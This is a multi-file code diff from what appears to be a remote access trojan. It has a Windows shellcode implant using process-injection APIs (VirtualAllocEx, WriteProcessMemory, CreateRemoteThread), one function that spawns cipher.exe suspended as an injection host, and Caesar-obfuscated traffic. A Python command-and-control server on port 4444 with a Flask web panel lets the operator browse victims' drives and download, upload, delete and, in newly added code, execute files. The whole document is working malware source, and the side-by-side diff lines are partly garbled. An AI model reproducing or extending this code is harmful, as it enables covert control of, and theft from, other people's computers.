typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
typedef int(WINAPI* Tfclose)(FILE*);
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
typedef size_t(WINAPI* Tfwrite)(void const*, size_t, size_t, FILE*);
typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR); typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR);
typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR); typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR);
typedef int(WINAPI* Twcscmp)(const wchar_t*, const wchar_t*);
typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
@@ -54,8 +44,15 @@ typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_ST
typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD); typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD);
typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T);
typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID);
typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T);
typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR);
typedef BOOL(WINAPI* TFindClose)(HANDLE); typedef BOOL(WINAPI* TFindClose)(HANDLE);
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID); typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int); typedef int(WINAPI* TMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int);
@@ -63,15 +60,8 @@ typedef HANDLE(WINAPI* TFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW); typedef BOOL(WINAPI* TFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR); typedef BOOL(WINAPI* TRemoveDirectoryW)(LPCWSTR);
typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR); typedef BOOL(WINAPI* TDeleteFileW)(LPCWSTR);
typedef HANDLE(WINAPI* TCreateToolhelp32Snapshot)(DWORD, DWORD);
typedef BOOL(WINAPI* TProcess32FirstW)(HANDLE, LPPROCESSENTRY32W);
typedef HANDLE(WINAPI* TOpenProcess)(DWORD, BOOL, DWORD);
typedef BOOL(WINAPI* TProcess32NextW)(HANDLE, LPPROCESSENTRY32W);
typedef BOOL(WINAPI* TIsWow64Process)(HANDLE, PBOOL);
typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef BOOL(WINAPI* TWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef LPVOID(WINAPI* TVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); typedef LPVOID(WINAPI* TVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(WINAPI* TSetFilePointer)(HANDLE, LONG, PLONG, DWORD);
typedef BOOL(WINAPI* TGetFileSizeEx)(HANDLE, PLARGE_INTEGER);
typedef struct ApiList { typedef struct ApiList {
Tconnect connect; Tconnect connect;
@@ -86,11 +76,15 @@ typedef struct ApiList {
Tselect select; Tselect select;
Tsetsockopt setsockopt; Tsetsockopt setsockopt;
Tmemset memset; TLoadLibraryA LoadLibraryA;
Tmalloc malloc; TCreateFileA CreateFileA;
Tfree free; TCreateProcessA CreateProcessA;
Tstrncmp strncmp; TCreateRemoteThread CreateRemoteThread;
THeapCreate HeapCreate;
THeapFree HeapFree;
THeapReAlloc HeapReAlloc;
THeapAlloc HeapAlloc;
TDeleteFileA DeleteFileA;
TCreateFileW CreateFileW; TCreateFileW CreateFileW;
TReadFile ReadFile; TReadFile ReadFile;
TWriteFile WriteFile; TWriteFile WriteFile;
@@ -103,7 +97,6 @@ typedef struct ApiList {
TTerminateThread TerminateThread; TTerminateThread TerminateThread;
TCreateProcessW CreateProcessW; TCreateProcessW CreateProcessW;
TTerminateProcess TerminateProcess; TTerminateProcess TerminateProcess;
TFreeLibrary FreeLibrary;
TGetProcAddress GetProcAddress; TGetProcAddress GetProcAddress;
TFindClose FindClose; TFindClose FindClose;
TGetLogicalDrives GetLogicalDrives; TGetLogicalDrives GetLogicalDrives;
@@ -112,34 +105,11 @@ typedef struct ApiList {
TFindNextFileW FindNextFileW; TFindNextFileW FindNextFileW;
TRemoveDirectoryW RemoveDirectoryW; TRemoveDirectoryW RemoveDirectoryW;
TDeleteFileW DeleteFileW; TDeleteFileW DeleteFileW;
TCreateToolhelp32Snapshot CreateToolhelp32Snapshot;
TProcess32FirstW Process32FirstW;
TOpenProcess OpenProcess;
TProcess32NextW Process32NextW;
TIsWow64Process IsWow64Process;
TWriteProcessMemory WriteProcessMemory; TWriteProcessMemory WriteProcessMemory;
TVirtualAllocEx VirtualAllocEx; TVirtualAllocEx VirtualAllocEx;
TSetFilePointer SetFilePointer;
TGetFileSizeEx GetFileSizeEx;
Tmbstowcs mbstowcs;
Twcstombs wcstombs;
Tstrcpy strcpy;
Tremove remove;
Trmdir rmdir;
Tstat stat;
Tsprintf sprintf;
Trealloc realloc;
Tlocaltime localtime;
Tstrftime strftime;
T_snprintf _snprintf;
Tfopen fopen;
Tfclose fclose;
Tfread fread;
Tfwrite fwrite;
TlstrcpyW lstrcpyW; TlstrcpyW lstrcpyW;
TlstrcatW lstrcatW; TlstrcatW lstrcatW;
Twcscmp wcscmp;
} API; } API;
void InitApis(); void InitApis();

View File

@@ -1,51 +1,38 @@
#include "shellcode.h" #include "shellcode.h"
#include "libc.h"
extern API Api; extern API Api;
HANDLE FindProcessByArch(const wchar_t* arch) HANDLE FindProcessByArch(const wchar_t* arch)
{ {
HANDLE hSnapshot; STARTUPINFOW si;
PROCESSENTRY32 pe32; PROCESS_INFORMATION pi;
// Take a snapshot of all processes in the system memset_(&si, 0, sizeof(si));
hSnapshot = Api.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); si.cb = sizeof(si);
if (hSnapshot == INVALID_HANDLE_VALUE) { memset_(&pi, 0, sizeof(pi));
return NULL;
}
// Iterate through the processes in the system LPWSTR path32 = L"C:\\Windows\\SysWOW64\\cipher.exe";
pe32.dwSize = sizeof(PROCESSENTRY32); LPWSTR path64 = L"C:\\Windows\\System32\\cipher.exe";
if (!Api.Process32FirstW(hSnapshot, &pe32)) { LPWSTR path = 0;
Api.CloseHandle(hSnapshot);
return NULL;
}
do {
HANDLE hProcess;
BOOL isWow64;
hProcess = Api.OpenProcess(PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID); if (wcscmp_(arch, L"x86") == 0)
if (hProcess == NULL) { path = path32;
continue; else
} path = path64;
// Determine the process architecture BOOL status = Api.CreateProcessW(
if (!Api.IsWow64Process(hProcess, &isWow64)) { NULL, // Application name
// Failed to determine the process architecture, so skip to the next process path, // Command line
Api.CloseHandle(hProcess); NULL, // Process security attributes
hProcess = NULL; NULL, // Primary thread security attributes
continue; FALSE, // Handles are not inherited
} CREATE_SUSPENDED, // Creation flags
NULL, // Use parent's environment block
NULL, // Starting directory
&si, // Pointer to STARTUPINFOW structure
&pi // Pointer to PROCESS_INFORMATION structure
);
// Check if the process matches the provided architecture return pi.hProcess;
if ((Api.wcscmp(arch, L"x86") == 0 && !isWow64) || (Api.wcscmp(arch, L"x64") == 0 && isWow64)) {
if (hProcess != NULL) {
Api.CloseHandle(hSnapshot);
return hProcess;
}
}
} while (Api.Process32NextW(hSnapshot, &pe32));
// No matching process found
Api.CloseHandle(hSnapshot);
return NULL;
} }

View File

@@ -1,18 +1,9 @@
#include "utils.h" #include "utils.h"
#include "libc.h"
const int _fltused = 0; //fuck linker errors, all my homies hate CRT const int _fltused = 0; //fuck linker errors, all my homies hate CRT
extern API Api; extern API Api;
void Message() {
if (1 == 3) {
int msgboxID = MessageBox(
NULL,
(LPCWSTR)L"Hello this is a message box",
(LPCWSTR)L"Hello !",
MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2
);
}
}
#define KEY 5 #define KEY 5
char* CAESAR(char* in) { char* CAESAR(char* in) {
for (size_t i = 0; i < strlen(in); i++) { for (size_t i = 0; i < strlen(in); i++) {
@@ -34,7 +25,7 @@ LPCWSTR ConvertCharToWChar(const char* str)
{ {
int len = strlen(str) + 1; int len = strlen(str) + 1;
int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0); int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0);
LPWSTR wstr = (LPWSTR)Api.malloc(wlen * sizeof(WCHAR)); LPWSTR wstr = (LPWSTR)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, wlen * sizeof(WCHAR));
Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen); Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen);
return wstr; return wstr;
} }

View File

@@ -29,7 +29,7 @@
<thead> <thead>
<tr> <tr>
<th data-sortable="false" data-width="20" data-checkbox="true"></th> <th data-sortable="false" data-width="20" data-checkbox="true"></th>
<th data-sortable="true">Nom</th> <th data-sortable="false">Nom</th>
<th data-sortable="false" data-width="150">Modifié le</th> <th data-sortable="false" data-width="150">Modifié le</th>
<th data-sortable="true" data-width="50">Taille</th> <th data-sortable="true" data-width="50">Taille</th>
</tr> </tr>
@@ -131,7 +131,7 @@
}); });
// Add buttons to the table // Add buttons to the table
$('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button></div>'); $('#explorer').before('<div class="button-group"><button id="download-button">Download</button><button id="upload-button">Upload</button><button id="remove-button">Remove</button><button id="execute-button">Execute</button></div>');
function get_checked_rows() { function get_checked_rows() {
var checkboxes = document.querySelectorAll('input[type="checkbox"]'); var checkboxes = document.querySelectorAll('input[type="checkbox"]');
@@ -183,6 +183,10 @@
$('#remove-button').on('click', function() { $('#remove-button').on('click', function() {
send_from_button("remove"); send_from_button("remove");
}); });
$('#execute-button').on('click', function() {
send_from_button("execute");
});
}); });
</script> </script>
</body> </body>

View File

@@ -12,8 +12,9 @@ import logging
import urllib.parse import urllib.parse
import select import select
import math import math
import re
ADRESSE = "192.168.1.35"#socket.gethostname() ADRESSE = socket.gethostbyname(socket.gethostname())
PORT = 4444 PORT = 4444
CONNECT_CLIENTS = [] #liste des sockets ouverts CONNECT_CLIENTS = [] #liste des sockets ouverts
THREAD_LIST = [] #tout les threads THREAD_LIST = [] #tout les threads
@@ -125,7 +126,11 @@ def recv_folder(client, path, addr, i) :
client.send(CAESAR(path + '\\' + f + "\0").encode()) client.send(CAESAR(path + '\\' + f + "\0").encode())
infos = recv_message_ret(client).decode("latin-1") infos = recv_message_ret(client)
try :
infos = infos.decode("latin-1")
except :
pass
taille = infos.split("/")[0] taille = infos.split("/")[0]
if taille != '0' : if taille != '0' :
@@ -179,12 +184,14 @@ def interact() :
files = [] files = []
if action != "upload" : if action != "upload" :
for f in file_list : for f in file_list :
if f == None :
continue
files.append(f.split('">')[1].replace("</a>","")) files.append(f.split('">')[1].replace("</a>",""))
match action : match action :
case "download" : case "download" :
print("\n\nTéléchargement...\n\n")
for i in files : for i in files :
print(f"files:{files} i:{i} FILES_:{FILES_}")
path = path_file_ex_2 + i path = path_file_ex_2 + i
if i in FILES_ : if i in FILES_ :
#call download file #call download file
@@ -198,10 +205,8 @@ def interact() :
recv_folder(client, path, addr, i) recv_folder(client, path, addr, i)
time.sleep(0.05) time.sleep(0.05)
print("\n\nTéléchargement terminé.\n\n")
case "upload" : case "upload" :
print("\n\nUpload...\n\n")
filename = easygui.fileopenbox() filename = easygui.fileopenbox()
if filename == None or path_file_ex_2 == "" : if filename == None or path_file_ex_2 == "" :
@@ -216,7 +221,8 @@ def interact() :
fp = open(filename, "rb") fp = open(filename, "rb")
upload_file(fp, client) upload_file(fp, client)
print("\n\nUpload terminé.\n\n")
time.sleep(0.05)
case "remove" : case "remove" :
for i in files : for i in files :
@@ -234,8 +240,20 @@ def interact() :
time.sleep(0.05) time.sleep(0.05)
case "execute" :
for i in files :
path = path_file_ex_2 + i
if i in FILES_ :
client.send(CAESAR("execute\0").encode())
client.send(CAESAR(path + "\0").encode())
return 'ok' return 'ok'
def extract_filename(url):
match = re.search(r'<a class="centered">(.+?)</a>', url)
return match.group(1) if match else ''
@app.route('/get_data', methods=['POST']) @app.route('/get_data', methods=['POST'])
def get_data() : def get_data() :
global path_file_ex global path_file_ex
@@ -281,7 +299,12 @@ def get_data() :
if client_num != i : continue if client_num != i : continue
client.send(CAESAR("get_drives").encode()) client.send(CAESAR("get_drives").encode())
drives = recv_message_ret(client).decode("utf-8") drives = recv_message_ret(client)
try :
drives = drives.decode("utf-8")
except :
pass
for d in drives : for d in drives :
data.append({"url": f"<a>{d}</a>", "modified": "", "size":""}) data.append({"url": f"<a>{d}</a>", "modified": "", "size":""})
continue continue
@@ -302,27 +325,38 @@ def get_data() :
path_file_ex_2 = '/'.join(path_parts) path_file_ex_2 = '/'.join(path_parts)
client.send(CAESAR(path_file_ex_2 + "\0").encode()) client.send(CAESAR(path_file_ex_2 + "\0").encode())
files = ""
try :
files = recv_message_ret(client).decode("latin-1") files = recv_message_ret(client).decode("latin-1")
except :
files = recv_message_ret(client)
if files == "" : return ""
aaa = ""
try :
aaa = files.split("/")
except : return ""
FILES_ = [] FILES_ = []
for f in files.split("/") : for f in aaa:
f = CAESAR_DECRYPT(f) f = CAESAR_DECRYPT(f)
#print(path_file_ex + f)
client.send(CAESAR("get_obj_info").encode()) client.send(CAESAR("get_obj_info").encode())
client.send(CAESAR(path_file_ex_2 + f + "\0").encode()) client.send(CAESAR(path_file_ex_2 + f + "\0").encode())
infos = ""
try:
infos = recv_message_ret(client).decode("latin-1") infos = recv_message_ret(client).decode("latin-1")
taille, modified = infos.split("/") except :
infos = recv_message_ret(client)
is_dir = False is_dir = infos == "d"
if taille != "N" : modified = ""
taille = convert_size(int(taille)) taille = ""
if taille == "0 O" : if not is_dir :
is_dir = True
else :
FILES_.append(f) FILES_.append(f)
if f[0] == "$" :
f = "." + f[1:]
if is_dir : if is_dir :
data.append({"url": f"<img src=\"images/folder.png\" alt=\"Folder Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>", data.append({"url": f"<img src=\"images/folder.png\" alt=\"Folder Icon\" class=\"mr-3\" id=\"folder\" /><a class=\"centered\">{f}</a>",
"modified": f"{modified}", "size": f"{taille}"}) "modified": f"{modified}", "size": f"{taille}"})
@@ -343,7 +377,7 @@ def ban() :
print(Fore.RED + " / / __ _ (_)| | __ __ _ ") print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
print(Fore.RED + " / / / _` || || |/ // _` |") print(Fore.RED + " / / / _` || || |/ // _` |")
print(Fore.RED + "/ /___| (_| || || <| (_| |") print(Fore.RED + "/ /___| (_| || || <| (_| |")
print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|") print(Fore.RED + "\\____/ \\__,_||_||_|\\_\\\\__,_|")
print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) print(Style.BRIGHT + Fore.GREEN +"Là où finit l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL)
print("") print("")
@@ -489,7 +523,7 @@ def main() -> None :
c = CONNECT_CLIENTS[i] c = CONNECT_CLIENTS[i]
addr = c.getpeername()[0] addr = c.getpeername()[0]
pays = "" pays = ""
match = geolite2.lookup(addr) match = None#geolite2.lookup(addr)
if match is not None : if match is not None :
pays = match.country pays = match.country
@@ -564,6 +598,9 @@ def main() -> None :
fp = open(fichier, "rb") fp = open(fichier, "rb")
upload_file(fp, client) upload_file(fp, client)
elif cmd == "" :
pass
else : else :
print("Commande non reconnue, \"help\" pour afficher la liste des commandes.") print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")

View File

@@ -3,3 +3,4 @@ prettytable
easygui easygui
python-geoip-python3 python-geoip-python3
python-geoip-geolite2 python-geoip-geolite2
flask